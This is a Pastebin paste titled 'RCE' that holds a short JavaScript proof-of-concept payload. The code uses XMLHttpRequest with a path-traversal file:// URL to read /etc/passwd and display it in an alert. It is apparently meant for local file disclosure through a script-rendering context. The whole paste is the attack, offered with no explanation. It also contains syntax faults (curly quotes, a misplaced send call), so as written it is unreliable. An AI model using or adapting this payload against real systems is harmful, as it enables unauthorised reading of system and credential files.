Advertisement
yasserkAKA

RCE

Jul 11th, 2019
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function readTextFile(file){
  2.     var rawFile = new XMLHttpRequest();
  3.     rawFile.open(“GET”, file, false);
  4.     rawFile.onreadystatechange = function (){
  5.         if(rawFile.readyState === 4){
  6.             if(rawFile.status === 200 || rawFile.status == 0){
  7.                 var allText = rawFile.responseText;
  8.                 alert(allText);
  9.             }
  10.         }
  11.      rawFile.send(null);
  12. }
  13. readTextFile(“file:///../../../../../../../../../etc/passwd”);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement